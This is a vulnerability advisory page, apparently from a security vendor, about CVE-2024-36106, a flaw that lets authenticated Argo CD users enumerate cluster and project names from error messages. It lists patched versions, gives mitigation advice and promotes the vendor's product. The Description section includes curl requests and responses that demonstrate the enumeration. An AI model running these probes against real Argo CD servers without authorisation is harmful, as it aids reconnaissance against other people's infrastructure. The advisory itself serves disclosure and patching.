CVE-2024-36106 is a medium-severity (CVSS 4.3) CWE-209 vulnerability in github.com/argoproj/argo-cd. A fix is available for github.com/argoproj/argo-cd — see the affected versions and patch details below.
Argo CD allows authenticated users to enumerate clusters by name
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-36106.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-36106 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/argoproj/argo-cd🐹github.com/argoproj/argo-cd🐹github.com/argoproj/argo-cdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization:
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.
curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
For more information
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-cd | ≥ 0.11.0&&< 2.9.17 | 2.9.17go get github.com/argoproj/argo-cd@v2.9.17 |
| 🐹Go | github.com/argoproj/argo-cd | ≥ 2.10.0&&< 2.10.12 | 2.10.12go get github.com/argoproj/argo-cd@v2.10.12 |
| 🐹Go | github.com/argoproj/argo-cd | ≥ 2.11.0&&< 2.11.3 | 2.11.3go get github.com/argoproj/argo-cd@v2.11.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-cd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-cd to 2.9.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-36106 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-36106 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-36106. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-36106 in your dependencies?
O3 Security finds CVE-2024-36106 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.